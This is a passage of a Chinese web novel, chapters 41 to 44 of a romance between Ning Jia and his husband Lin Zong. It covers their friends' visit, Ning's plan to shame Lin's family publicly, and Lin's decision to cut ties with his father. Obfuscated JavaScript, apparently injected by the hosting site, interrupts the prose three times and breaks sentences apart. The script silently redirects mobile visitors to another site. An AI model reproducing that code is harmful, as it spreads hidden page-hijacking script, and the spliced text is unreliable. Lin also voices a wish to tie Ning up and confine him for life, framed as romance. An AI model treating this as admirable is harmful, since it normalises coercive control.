架子是林纵给搭的,阿姨比富贵还高兴,笑着说:“少爷搭了两天呢,每个板都是他亲自钉上去的。” 宁嘉皱了皱眉,想到了什么:“他没去工作吗?” 宁嘉在家的时候,除了必须要在外解决的工作,林纵基本都会把工作带回来,做到很晚。 “我也不知道呀,”不知道的话,阿姨不知道该怎么继续说,便道,“你看小猫咪多可爱呀。” 宁嘉也不知道该说什么。 林纵还在吃早餐,宁嘉现在看到他还腿直抖,想了想还是坐在对方面前:“学长,你给富贵买猫窝啦?” 林纵平淡的,没有情绪地,看了宁嘉一眼。 衣冠禽兽! 宁嘉在心里吐槽:哦,要不是昨晚在床上被你搞得半死不活的是我,我都不知道你的真面目! 然而林纵就是这么平静,冷淡,完全不打算和宁嘉交流的模样。 宁嘉舔着脸,心虚肾也虚地说:“不嫌累啊?” 林纵瞥了他一眼,不冷不热的语气:“宁嘉,有事说事。” 宁嘉明白了,林纵根本就不累!就从他昨晚禽兽一般的把宁嘉摊煎饼似的翻来翻去的行为来看,他一点都不累! 然而宁嘉根本不知道要说什么,林纵总是这样,他不说什么,总是沉默的,无声地去做很多事情。 宁嘉想要有人对他好,林纵对他的好像是在他满是洞口的心窝里吹暖风,没什么缝补的功效,可宁嘉还是觉得温暖了许多。 没话说,宁嘉只好又捡起一块三明治在吃。 林纵惊讶地看着他,宁嘉腮帮鼓鼓的:“怎么了?” 林纵:“平时没见你这么能吃。” 宁嘉笑笑,还是说:“学长,谢谢你。” 林纵说:“别想着谢我。” 宁嘉抬头。 林纵和他对视:“你要一辈子记着我的好,还要还回来。” 那双眼睛里藏着什么呢,那些话又是什么意思,宁嘉还来不及想,林纵便起身:“走吧,送你去上班。” 我自己去也可以,宁嘉下意识想说这一句。 林纵看向他的那一眼,让他把在嘴边转悠的话又咽了下去:“好。” 一上车,宁嘉就犯困,有种动物到了时间下意识冬眠的感觉,他真是困得要死,眼睛都睁不开的关口偏头往边上看了一眼。 禽兽! 宁嘉边迷糊边骂。 明明大家都没有睡觉,你精神这么好,真的让人很不爽啊! 林纵瞧着一点事都没有,平稳驾驶,安全第一,目视前方,注意力超级集中的样子。 “你不困哦?”宁嘉暗戳戳,阴森地问。 前方没车,林纵侧头瞧见宁嘉那张像是恨死他的脸,淡淡道:“不困。” 宁嘉睡觉去了:“......” 等到宁嘉睡醒,发现车子正停在他们公司地下停车场,黑漆漆一片,和他的未来一样,安全带都忘记解了,瞪着眼睛:“怎,怎怎么了?” 怎么停在这。 看宁嘉清醒了,林纵才说:“我送你上去。” 宁嘉把脑袋摇成了拨浪鼓:“不用不用不用,走得动,没那么柔弱。” “......”林纵不是这个意思:“我没去过你公司,去看看。” 宁嘉立马:“小破公司,真不值得。” 宁嘉拒绝的太果断,林纵便不说话了,看着宁嘉,目光像一片落叶轻飘飘地落在他的脸上,没什么重量,宁嘉却下意识摸向自己的脸:“......学长。” 林纵的表情无端冷下来:“说。” “没什么好说的,”宁嘉慢吞吞地开口,心想总是得说点什么,“林少前几天不是来闹过一场吗,你现在上去可能会不太开心的。” 事实上,林纵也是当天事发的当事人之一,比起宁嘉,林纵可能更是那个吸引目光的人,人们看上他的时候会带上好奇和同情,像是在说:就是他啊,头顶冒着绿光的人。 “......” “因为这个原因,这两天才不回家吗?”林纵问。 宁嘉不想回家,总要有个理解,比如林纵身上流着林平生的血,无论如何他和林少都拥有着令人作呕的血缘关系,宁嘉不想看见林纵就像不想看见林少那样。 宁嘉一愣,下意识回答:“不是。” 否认完又需要新的理由,那是宁嘉更加说不出口的话,只好喊:“学长。” 林纵一副不想和宁嘉沟通的样子。 宁嘉只好去牵林纵的手,明明出了汗却又发凉的掌心被握在手中,学着林纵曾经做过的样子,吻了吻他的手背。 宁嘉其实一直不了解,不懂得林纵这么亲吻他的用意,现在好像明白了一点,那是因为珍重。 宁嘉很珍惜林纵,不想让他因为这样的理由想很多,那是一种自我否认,可林纵这么优秀,不应该因为那些他不能选择的人生感到自卑。 “学长,”宁嘉这样叫林纵,他说,“是我的错,我不够坦然,我有坏心思。” 靠近你是,想和你分开也是。 宁嘉太坏了,报复心强,一味的忍让从来都不是他会做的事。 “没关系。”林纵反而松了一口气,只要宁嘉不讨厌就好了,林纵想要躲避又避不开的东西,其他的也没有那么重要。 林纵说:“林少会找你也有我的原因,我一直在打压他的生意,他知道。” 这些事林纵和宁嘉说过,倒也没有很惊讶:“那林平生呢?” 有的时候连林纵都看不懂林平生的想法:“他也知道,他没管。” 林平生偏心林少是事实,实际上除了刚来林家的时候,林纵已经不会用偏心这样的词语形容他们这群人之间畸形的情感了,只是这个词语无疑又是最准确的。 宁嘉评价道:“糟老头子坏得很。” 林纵反而笑了,掌心反扣,和宁嘉牵着手,十指相扣:“你在公司里过得不好,被他人不友好的目光注视,有我的错。” 事实已经发生,不管宁嘉做出什么样的选择,林少都赢了。 “不不不,”宁嘉努力让自己的注意力从他俩的手里挪开,飘飘然道,“我们公司的氛围是很ok的,只有等电梯的时候会碰上神经病,昨天已经被我ko了,一个菜鸡而已。” 这样的日子确实不算好过,毕竟宁嘉喜欢安稳度日,但也没有多难过,宁嘉又不怕事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565288|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >辞职是不可能辞职的,林少做的事凭什么要他买单。 宁嘉晃了晃他们相牵的手,脸上洋溢着幸福的但他不承认的笑容:“学长,你放心好了,我也不是吃素的。” 宁嘉上楼的时候,明显感觉到了少于平常的注视。 那些视线不是驻足他的身上的,而是不经意间看见,短暂的停留后,很快就挪开了。像是,就是他啊,然后就没有然后了。 嚯,我凉的比娱乐圈的明星都快啊。 到了公司,同事立马凑上来:“宁嘉宁嘉宁嘉,你是不是凉了?” 宁嘉:“?”说什么呢你。 同事说:“今天都没人来公司门口看你了!” 宁嘉表情古怪:“还有这种事?我怎么不知道。” 竟然真有人这么闲,他也是没想到的。 同事点头:“有啊,当然有。看不到你还会问我们有没有你的照片。” 宁嘉:“......他们想干吗?” 同事:“看你长得有多好看,引得豪门太子给你争风吃醋。” 宁嘉要被这形容干吐了。 “不过这也是好事,总算是消停了,再这么下去,我都怕你辞职了。”同事心有余悸地说。 宁嘉一副若有所思的样子,捏捏下巴:“那也不至于。” 自从宁嘉过来后,同事上班的积极性大大提高,就是不爱工作,天天和宁嘉聊八卦。宁嘉这模样让她瘆得慌,问:“你在想什么?” 宁嘉想了想:“我想弄他一下。” “谁?” “林少啊。” 同事震惊,倒吸一口凉气:“?这种事可以随便告诉我的吗?” 宁嘉说:“你告诉他也没事。” 同事却十分坚决,发四:“你放心,我不说!” 宁嘉托腮分析,林少找宁嘉麻烦有两个原因,一是宁嘉当着林平生的面,翻了林少的旧账;二是那之后林纵在生意上给林少下绊子。 由此可见,林少很生气是应该的,但是林少没有找林纵麻烦,而是找了宁嘉,原因也有两个,一是找宁嘉的麻烦显然更方便,初来予市一切都是新开始,林少不想要给宁嘉这个开始;二是这些年无论如何他怎么找林纵麻烦林纵都无动于衷,林少突然发现林纵的软肋在宁嘉这里。 想到这里,宁嘉老脸一红。 继续分析,所以找宁嘉麻烦是最简单有效的,简称一石二鸟。 宁嘉有个鸟,林纵也有个鸟。 呸。 宁嘉老脸又一黄。 而林少这么对宁嘉的原因也很简单,在一个有很多人认识宁嘉的地方下了宁嘉的面子,他觉得,宁嘉一定很难受。 但林少忘了最重要的一点,宁嘉并不像林少这样爱面子。 反而,宁嘉丝毫不在意这件事对他带来的影响。 林少伤敌一千,自损二百五的行为,给了宁嘉一个新思路。 宁嘉:晚上早点回家。 江软:? 宁嘉:有事。 江软:别扯他妈蛋。 宁嘉:我这是通知你,希望你识相。 江软:呵,哥们,你完了。 宁嘉:? 江软反手就给林纵打了个电话,毫不留情地告状:“学长,你好,我是江软。” 林纵:“?” 江软声情并茂,就很为难的样子:“宁嘉说晚上要来我家,我已经义正言辞的拒绝他了,为了以防万一,学长你下班的时候,记得来一趟把人带走。” 林纵:“可以。” 江软回复宁嘉:嘻嘻嘻。 宁嘉:嘻你个头。 42. 第 42 章 宁嘉不想回家的原因也可以理解,他确实有事要和江软商量。 当然,宁嘉也做好了晚上不回家的准备,因为他的屁股真的有一点疼。 很难想象这个事情竟然发生在林纵身上,长的一脸禁欲系,不能干一点禁欲系的事吗。 一口吃不成个胖子,为什么还要吃那么一大口! 电梯里,宁嘉被挤到角落,缩着屁股站着,就微微疼痛。 但宁嘉还是决定坐地铁去找江软,因为打车费很贵,虽然自从和林纵住到一起后,他就基本没什么花钱的地方。 富贵的零食玩具都是林纵在买,早餐晚餐也基本在家里吃,宁嘉剩了一点小钱,回头看看,这点小钱干什么都不够。 宁嘉很悲催地挤上了地铁,给江软发消息:下班赶紧回来,我肚子都饿了。 江软已读不回。 拉倒。 江软家的密码宁嘉知道,进了小区熟门熟路地上电梯,密码解锁,往沙发上一趴,感觉整个人都解放了。 几分钟后,敲门声响了。 什么玩意,宁嘉爬起来,就很好奇,这个点谁会找江软,难道是江妈妈。 宁嘉透过猫眼一瞅,当场愣住:“......” 这个门,开,还是开,这是个问题。 林纵在门外很耐心地等了一分钟,门被缓缓打开,里头钻出个脑袋,毛茸茸的头发丝被穿堂风吹起来,宁嘉讨好地朝他笑:“学长。” 林纵淡淡道:“晚上准备回家吗?” 当然是不准备啊! 宁嘉才不敢这么说,笑嘻嘻地:“和江软有话说,说完就回去了。” 林纵毫不留情地把江软给卖了:“江软让我来找你的,他应该不会回来了。” 宁嘉:“?” “学长你骚等,”宁嘉边摸手机边说,“这个比东西卖我,我要打电话骂死他。” 林纵于是十分淡定地站在门口等,江软住的是一户一梯式的房子,这层楼除了他也没有别人了,林纵就这么站着也没有很突兀,而宁嘉不知道怎么想的,也没有要把林纵请进去的意思。 电话拨通,铃声响了两声,最后被江软挂断。 宁嘉:“??” 换在平时,这个电话,宁嘉非要继续打下去不可,就算江软在和别人打炮,宁嘉也要把他们的炮打断。 但是宁嘉看了一眼林纵,屈服了,挂断电话,关闭屏幕,手机揣进口袋:“学长,我们回家吧。” 林纵挪开点位置,宁嘉慢吞吞地穿鞋,林纵阴阳怪气地问:“难穿吗,要我帮你吗?” “不不不。”宁嘉哭笑不得,一个踉跄差点摔地上,林纵明明站得有点距离,却又眼疾手快地扶住了宁嘉。 宁嘉整个人都不好了,靠着林纵,有点不明白他今天为什么要来找江软。 “怎么了?”林纵问。 宁嘉悲催道:“脚扭了一下。” 林纵:“......我背你。” 宁嘉摇头:“扶一下就行,”又问,“学长你车停哪?” 林纵说:“楼下。” “......”宁嘉:“江软竟然卖我至此。” 真令人寒心。 “出来吧。”林纵搭着他说。 脚扭的确实不严重,只是突然这一下,宁嘉还真有点走不了路,重心往林纵那边一倾,林纵就感觉到了,直接把人背起来。 宁嘉还没反应过来,就和林纵贴到一起了,脸颊贴着他微凉的脖颈,有一点不自在,但又有点享受这样的靠近:“学长。” 林纵:“嗯?” 宁嘉搂着林纵的脖子,不知出于什么目的,还蹭了蹭:“还是得让江软来一趟,我有话和他说。” 林纵没问是什么事,宁嘉不说,他也不问,只要宁嘉在他身边,这些都是无关紧要的事:“嗯,你让他来。” 宁嘉生气地说:“但是他不接我电话。” 带了点斟酌地谨慎开口:“是江软让你来接我回家的吗?” 林纵:“嗯。” 宁嘉说:“江软有点怕你,不知道为什么,我现在打电话他只会觉得我要找他麻烦,所以他不接。学长,你能给他打个电话不。” 林纵对江软怕他这件事毫无反应,寻常人听到他人对自己的印象是这样都会有点在意,像是觉得自己在外人面前形象不太好,林纵并没有,两个人靠得太近,宁嘉感觉到,他连呼吸都没有明显起伏。 “好。”宁嘉听见林纵说。 而事实上林纵只是在上车之后拨通了江软的电话,随后把宁嘉丢给手机,并没有打算和江软交流。 电话接通,宁嘉就炸了:“江软,你是不是活腻了!!!” 江软:“.......” “江软你找死是不是,挂我电话,还出卖我!” 江软:“.......” 宁嘉:“给你一次讨好我的机会。” 江软:“什么?” 宁嘉瞥了眼林纵,又若无其事地说:“来找我,我真的有事。” 江软就差给宁嘉跪了:“大哥,大爷,你放过我吧,你再来我家,林纵得把我家拆了不可。” 宁嘉也没法问江软为什么这么怕林纵,只说:“让你来我家,富贵也在呢,你还没有见过它吧。” 这倒是个好办法,林纵只是不爽宁嘉不回家,当然,江软也猜测这位林大爷估计根本不想在他家看到他,但是没办法,宁嘉都这么说了,要真不去,就只剩下讲林纵坏话这一条路。 江软看了看时间:“那你等会儿,我先去吃个饭。” 宁嘉立马:“吃什么吃,我给你煮泡面。” 开车的林纵因为这句话斜了宁嘉一眼,宁嘉却没发现。 江软冷哼一声:“算了吧你,我叫个外卖过去,你吃了吗?” “等等,我问问。” 江软还在说:“问你吃饭了没,你问鬼啊?” 宁嘉手机都已经拿开了,问林纵:“江软说要给我们叫外卖吃,学长你吃了吗?” 江软在电话那头抓狂:“~!@#¥%……&*” 林纵淡淡道:“没有。” 宁嘉开心地说:“好的,那我让江软多买一点。” 宁嘉拿起手机,继续说:“喂,学长,也没吃,你多买一点。” 江软仿佛像个大冤种:“我~!@#¥%……&*” 车载音响响了,是闻凯打来的电话,林纵接起来,闻凯大着嗓门,恼羞成怒:“你人呢?” 他们晚上还有事情要谈,拖了好几天,约好了今天,事到临头,林纵还是没有出现。 林纵道:“宁嘉在。” 闻凯真是受够了,这些结了婚的人怎么这么烦,一定要随时随地黏在一起吗,他说:“他在你就放我鸽子?我的命就不是命了?” “突然有点事,就忘了。” 闻凯:“你听听你说的什么话?” 林纵看了眼时间,问:“你和江软要谈多久?” 闻凯:“什么?” 林纵:“没问你。” 宁嘉讪笑着和闻凯打招呼:“哈喽啊,我也在。” 闻凯真是服了:“......” 宁嘉这才和林纵说:“一起吃个饭,再和富贵玩一下,个把小时要的吧。” 林纵想了想:“你过来吗?” 闻凯没好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573758|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地问:“你在和谁说话。” 林纵:“你。” “行吧行吧,”闻凯都到地方了,又得临时转场,“那我现在开车过去,我还没吃饭,你请我。” “行。” 闻凯挂了电话,宁嘉就乐了:“他要过来一起吃饭吗?” 下班高峰期车多,林纵把车子开的很稳,语气也稳稳当当:“不欢迎的话,就不让他吃。” 宁嘉笑死:“没有没有,我的意思是,那我让江软多叫一点吃的。” 和林纵在一起之后,宁嘉的改变都是向上的,很难形容那些细枝末节里的变化,但宁嘉没了一开始的不适应,渐渐习惯了如今的生活。 这方面,前两天宁嘉也和江软讨论过,当时他仰头躺在沙发上思考人生,过了一会儿才说:“这可能就是由俭入奢?有钱谁不会花啊。” 宁嘉满座位找手机,找到后点亮屏幕:“哦哟,电话还没挂啊。” 手机贴在耳边,江软骂:“宁嘉,你不是个东西。” 宁嘉十分淡定:“既然你都听见了。” 江软大骂:“那你就去吃屎!” 宁嘉说:“那就多弄点吃的来。” 江软这才气鼓鼓地把电话挂了。 宁嘉想把手机往口袋里塞,突然发现口袋里还有一个,这才意识到拿着的是林纵的手机,慢吞吞放回给他,又想起来:“学长,这是你的手机?” 林纵:“你要也可以拿走。” “不是,”宁嘉哭笑不得,“我的意思是,闻凯刚才也打进来了。” 林纵说:“闻凯打的是私人电话。” 宁嘉:“你没把私人电话给江软吗?” 这话问的奇怪,前方堵车,林纵停下来,古怪地看着宁嘉:“我是有什么话非要在下班后和他说吗?” “也不是这么说。”宁嘉不知道怎么形容,因为林纵把江软划分到了另一个不属于他私人的区域,这让宁嘉有了种微妙感觉,好像那里不太一样,似乎很久没有被人妥帖地对待了。 没问宁嘉那是怎么说,林纵到家的时候,江软已经到了,他也不着急,车停在小区门口开着空调玩游戏,看见林纵的车就按按喇叭,林纵让保安把他放进去。 没一会儿,闻凯也到了,和两人前后脚的事。 宁嘉脚扭了,下车时瘸了一下,江软看到刚要上前,林纵便把人背起来了,身后两双眼睛看着,宁嘉不自在地僵着背,又不敢动:“......学长。” “怎么了?” 林纵身上的皮肤总是凉的,好像不仅是被空调吹的,宁嘉觉得舒服就抱紧了一点,话又不是这么说的:“江软他们看着。” 林纵显然没当回事:“你脚扭了,走不动路,我背你有什么问题。” 宁嘉思考了一会儿,好像没问题,又问:“如果......闻凯伤了脚。” 林纵:“让他滚。” 闻凯闻者落泪:“......” 闻凯就是贱的,至今没摆清楚自己的地位,人家小两口是结了婚的,不管感情好不好,也没什么问题,他偏偏总想往前凑。 林纵倒是从来没说过什么,就这么突然一句话,就给闻凯掀走了。 “操。” 闻凯骂了一声,退回来和江软一起走:“你知不知道他俩怎么回事吗?” 江软疑惑:“他们俩结了婚领了证,法定意义上的两口子,背着是情趣,在你面前亲嘴,你也只能怪自己为什么不早点转过去,还能怎么回事。” 闻凯终于有了点醍醐灌顶的意思。 往前一看,宁嘉伸手,捏了捏林纵的耳垂。 啊啊啊啊啊啊啊啊啊操,他眼睛瞎了。 43. 第 43 章 上一回几人是出去玩,就算闻凯和江软过来,也没有以客人的名义招待过。 宁嘉没做过这样的事,小时候因为父亲的坏名声,家里也一直没有客人过来,所以怎么招待客人宁嘉是没有经验的。 林纵把宁嘉背进门,放到沙发上,替他脱了鞋,才再次回到门口。 闻凯似乎终于意识到自己的多余,和江软两人姗姗来迟,林纵打开玄关,让两人自己找拖鞋。 闻凯就很不服气:“这么随便?” 林纵扭头,冷淡:“你想我怎么招呼你。” 客厅里,宁嘉还歪着脑袋,十分好奇地看着在门口堵着的三人,闻凯什么话都没能说出口,却又突然有了一种漂泊多年终于落叶归根的感觉。 林纵站在他身侧,像一个坚毅的不会弯折的松树,他们两个认识了这么多年,彼此性格都是倔强的,从来不会像命运屈服。 曾经,闻凯也以为这样的日子会一直下去,像他们这样被他人容不下的私生子,好像很难想象彼此家庭美满的那天。 直到这一刻,闻凯才明白,他们也是有机会的。林纵已经先一步到达了闻凯自以为不会到达的终点,他过得很好,闻凯也不需要畏畏缩缩。 闻凯笑了下,顺便拿了双拖鞋给江软,搭着林纵的肩膀进去了:“你是不是过得不错?” 林纵知道闻凯问这话是什么意思,并没有顺着他的话回答,反而问:“你羡慕?” 闻凯笑起来:“我渴了。” 宁嘉和林纵最近就没有正常回来过,阿姨在房间待得忘了时间,一出来,四个人在客厅里或站或坐,这场面弄得她惊慌失措:“抱歉啊,我睡过头了。” 因为家里难得人很多,宁嘉很开心地说:“没关系呀。” 阿姨急匆匆过来:“晚上要吃什么呀?” 林纵正从冰箱里拿水给闻凯:“晚上我们自己弄,你去休息吧。” 阿姨松了口气,连忙走了。 闻凯拿的拖鞋太大,江软抬起头,那两人早抛弃他走了,自己又换了新的,慢吞吞进来,明显也是兴奋:“弄什么啊?” 宁嘉说:“有没有喝的?” 江软说:“上次那个饮料,好喝!” 江少爷从小到大什么好东西没喝过,偏偏惦记上闻凯的手工饮料,宁嘉也是一脸期待:“好喝。” “行,”闻凯就挺无语的,“冰箱里有东西吗?” 林纵说:“有。” 上一次林纵不了解,这次他在边上搭把手,饮料做的又好喝又多,加了冰块就很完美。 外卖到的时候也是他们俩去拿的,江软瘫在沙发上,问宁嘉:“你还没说,找我来干什么。” 这件事宁嘉是想过的,江软要是不愿意,他就再想想办法:“也没什么,就是想问问你,有没有认识自媒体的朋友。” 江软:“?我哪有这样的朋友。” 他那群朋友除了吃饭喝酒唱歌泡妞还会什么。 宁嘉说:“林少那件事风头已经过去了,好奇的人没了,很快就没人记得他做过这样的事。” 就像上次在餐厅里那样,林少当着那么多人得面骂羞辱林纵,但那又怎么样,别人家的笑话,今天笑过,明天笑过,人们很快就会忘记这些无关紧要的事。 江软好像听出了宁嘉的意思:“那你想干吗?” 宁嘉说:“我要他道歉。” 这个“他”大概就是林少,江软说:“找人把他打一顿,让他给你道个歉。” 这种事江软也不是干不出来,得罪林家肯定是会的,但林少惹事在前,江父最多就是给江软两棍,但也一定不会追究他儿子干的这些事。 宁嘉杯里的饮料是林纵给他做的,冰冰凉凉的,握在手中却让宁嘉想到了林纵的温热的掌心,真奇怪,上次他问林纵有没有喜欢的人,现在才知道,有些感情原来是这样的。 矫情又不讲道理。 “不要,”宁嘉没什么表情地说,“我要把事情闹大,人尽皆知,我要把林家人的面子踩在脚下,法治社会,我为什么那么好被人欺负?” 所以宁嘉要找自媒体,大部分记者的底线是金钱,在予市会被林家人威胁,做自媒体的大多是什么事情有流量就做什么。 这种事江软反而不擅长了:“我可以给你问问这方面的人,肯定是有的。” 宁嘉还是顾虑江软的:“会不会给你惹麻烦?” 江软骄傲又嘚瑟:“嘉嘉,不是我刺激你,你嫁入豪门还是目光短浅,不知道我们家有钱吧,比林家还有钱,真不至于怕,谁让他欺负你啊。” “不是欺负我。”宁嘉又说,他看着江软,那一瞬间,江软想到了宁嘉每次和他提到吴良仁的样子,平静的,咬牙切齿的恨意。 “他们对学长不好,从来都不好。” 这件事,江软也问过,上流圈子里公开的秘密,说林平生虐待私生子吧,真不至于,吃好喝好,金钱权势,林纵其实没吃过什么亏。 可要是真为他好,又为什么把林纵推到风口浪尖上来,还任由林少这样有名正言顺身份的人羞辱他,那个圈子里几乎没有人不知道,林纵是个明面上被正儿八经介绍过的私生子。 一个难看又难听的身份。 宁嘉说:“我要让他们给学长道歉。” 江软听出了话里的潜台词:“他们,还有谁?” “林平生。”宁嘉的话里带着冷静的恨意。 “哦,那个老头子,”江软显然也没有素质,“理想是丰满的,但是嘉嘉,别怪我没有提醒你,这些人年纪比你大这么多不是没有道理的,捏你和捏蚂蚁一样容易。” 宁嘉便问:“会弄死我吗?” 江软惊恐:“想什么呢,这么好面子的家族,林家生意其实是很干净的,我爸和我说过,到了林平生这一代,林家产业基本就没有污点了。” “那不就完了。”宁嘉不在意地说,“除了这条命,我什么都不在意,他让我和学长离婚也可以,让公司把我开除也可以,我回岩市重新生活也行,我什么都没有,我什么都不怕。” 江软:“......” 江软无言:“话说,林纵和闻凯怎么还没回来。” 外卖是送到门口的,那两人拿了外卖早就回来了,不知道是听到那句话,林纵停下了脚步,紧跟着在后头的闻凯摸不着头脑地被林纵示意了闭嘴。 闻凯:“?”不懂,但尊重。 两人听到了以上对话。 沉默。 把外卖放到门口后,又退了出去。 闻凯一时间不知道该说什么,夸一夸宁嘉这么在意林纵,还是损一损原来宁嘉一直都没把和林纵的婚姻当回事。 再看看林纵,好像早就什么都知道了。 林纵点了根烟,闻凯陪了一根,单手揣兜,蹄子踢踢他:“想什么呢你。” 这已经不是第一回,林纵偷听宁嘉和别人的谈话了,上一次是和林少。 林纵是在意的,他私生子的身份,他从来没有表现出来,其实也不太介意别人怎么想,但也不是全部。 碰上宁嘉的时候,他就犹豫了。 人与人之间的差距很小,金钱,地位,其实是很虚无缥缈的东西,林纵从来没有因为自己拥有这些而感到庆幸。 可宁嘉像一朵烈日下芬芳耀眼的花,他想要,却不敢要。 闻凯又踢踢他:“问你话呢。” “想,”林纵顿了顿,终于暴露他阴暗的一面,低垂着眼,语气凉薄,“怎么把他捆起来,关在家里,哪里都不让他去,这辈子都别想离开我。” 闻凯冷笑一声:“别怪哥们没有提醒你,这可犯法。” 林纵那表情就是要知法犯法。 闻凯惊了,连忙转移话题:“换句话说,你听到他说这些的时候有没有很感动。” 林纵看傻子似的看着闻凯,又说:“宁嘉就是个傻子,他能说出这些话,我一点都不意外。” “他喜欢你吧?” 闻凯这半生,阅人无数,和林纵不同,他知道男男女女谈恋爱最终逃不过的那些事,宁嘉的喜欢也太明显了,这两人不是被迫结的婚吗?林纵不是单恋宁嘉吗? “不知道。”林纵说。 闻凯:“?” 宁嘉无疑是在意林纵的,可林纵不知道如果喜欢一个人的话,会不会想要和他分开。 说不知道,其实都是自我安慰。 因为林纵不会。 说要把宁嘉关起来,绝对不是开玩笑,林纵不舍得,也不会允许宁嘉离开他,他给过宁嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579906|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会的,宁嘉想要走,已经不可能了。 一根烟抽完,林纵才带着外卖回去,宁嘉和江软都不知道聊到哪了,两个人龇牙咧嘴的,好像刚刚啃掉了林少的骨头。 “那就这么定了。”宁嘉和江软说。 江软伸出手,要和宁嘉击掌,余光瞥了瞥林纵,心说这两人也太惨了,活了二十几年就没遇到什么正常人,不对,江软又想,他就很正常,他是宁嘉碰到最正常的人。 吃了饭,林纵和闻凯去处理工作,宁嘉带江软去见富贵玩。 这还是江软第一次见到富贵本猫,先前一直只是看过照片,江软还挺不理解的,摸摸猫头:“干吗不养只好看的?” 富贵作势要咬他,江软松了手,宁嘉把富贵抱过来撸撸:“胡说八道,我富贵不好看?” 江软像个嫖.娼,点姑娘的登徒子,挑三拣四:“狸花猫。” 宁嘉指着它的毛色:“三花,彩狸,没眼光。” “你有眼光,”嘴上这么说,江软又是爱猫人士,摸摸富贵屁股,撸撸尾巴:“你都看上林纵了,能不有眼光吗?” 这种时候,宁嘉不再说“我没”了,幽怨地看着江软。 “这个项目,不和盛林地产合作。” 盛林地产就是林纵如今就职公司的名义,属于林平生的产业。闻凯和林纵开了家小公司,规模比不过盛林,但因为和地产挂钩,很多时候,两间公司会有业务往来。 闻凯曾经就这个事问过林纵:“你这么搞暗箱,林平生知不知道。” 因为盛林的关系,林纵的小公司,捞了不少钱,林平生要是想,这种事根本瞒不过他,但闻凯实在不知道,这老头子对林纵到底是个什么想法。 林纵说:“他知道。” 闻凯真他妈惊了。 又听林纵说:“我想要钱,他不给我吗?盛林和谁合作都一样,他巴不得把钱送给我。” 闻凯:“......” 这是他们之间心照不宣的默契,这都三年了,林纵也没有想当正人君子的意思,这会儿突然要和林家清算,不合作了,搞什么? 闻凯不理解:“是这个项目不合作了,还是以为都不合作了?” 林纵翻过一页纸,淡淡道:“以后都不合作了。” 闻凯:“什么意思?” 林纵说:“我不想要林家的道歉,但我想给宁嘉挣一点面子。” 闻凯问:“所以?” 林纵:“我打算和林平生断绝关系。” “卧槽......” 林纵八岁来到林家,已经十六年了,他对林少的羞辱和林平生的默然视若无睹,没有想过离开也从来没有真正留下来。 闻凯也认识林纵这么多年了,在他的印象里林纵一直死气沉沉,活着不像活着,又没有想要去死的打算,这个人悄无声息地活在这个世上,一点惦记都没有。 到现在,闻凯才有种原来林纵是想要活着的想法。 闻凯:“你打算怎么做?” 林纵:“要辞职。” 闻凯:“那之前赚的钱?” 林纵莫名其妙地看着他:“谁敢从你兜里拿钱?” 闻凯了然:“你杀了他?” 林纵:“杀人犯法。” 闻凯:“笑死。” 楼上有个工作谈久的,楼下还有个差点和猫睡着的,时间太晚了,宁嘉便说:“晚上别走了,在这睡呗,反正明天周末。” 也是,很有道理,江软反正一点自知之明都没有:“好啊好啊,我能不能在睡前喝个烂醉。” 林纵一反常态地说:“可以。” 家里酒很多,宁嘉不打算喝酒,开酒倒酒的重任就交给他了,三人喝的不省人事,才想到要睡觉的房间还不知道在哪里,宁嘉说:“睡觉的房间都在楼上。” 因为没打算住人,楼下的房间连床都没有。 问题不大,江软扶着楼梯上去了,闻凯在他身后东倒西歪地跟着上去,二楼上两人醉眼茫然,左右看看,随便找了个房间就要进去。 宁嘉连忙阻止:“哎哎哎,那是我们的房间。” 江软停住:“等会儿!” 闻凯眯起眼睛:“你们不住主卧吗?” 宁嘉:“......” 44. 第 44 章 在一套只有两个人住的房子里,两人不睡主卧,显得很可疑。 宁嘉要怎么说,他是被许诗瑶推着走的,从来都不是带着真心、想要和喜欢的人结婚。 所以结婚很草率,两个人说要同居的时候,宁嘉也没有想过会和林纵住在一起。 房间是随便选的,林纵跟着住进来才是意外。 要这么解释,是个问题,宁嘉觉得自己名不正言不顺。 好在有林纵,他喝了酒,性格里的强势显露于人前:“关你屁事。” 宁嘉:“......” 宁嘉愕然。 闻凯和江软倒像见怪不怪。 闻凯是确实不奇怪,他只觉得林纵在宁嘉面前装得好,林纵在他面前却向来如此。 江软也见过林纵这个样子,他从重逢后第一次看见林纵开始,就知道这人不是好惹的,这会儿纯粹是喝了酒,身边又有别人,迟钝地感觉不到怕。 只有宁嘉有点茫然。 三酒鬼却没空体会他的心情,知道了哪个是主人住的房间,其他房间就可以随便住了。 片刻后,闻凯摇摇晃晃推了一扇门进去,江软把门关得哐当响。 宁嘉这才扶林纵进去。 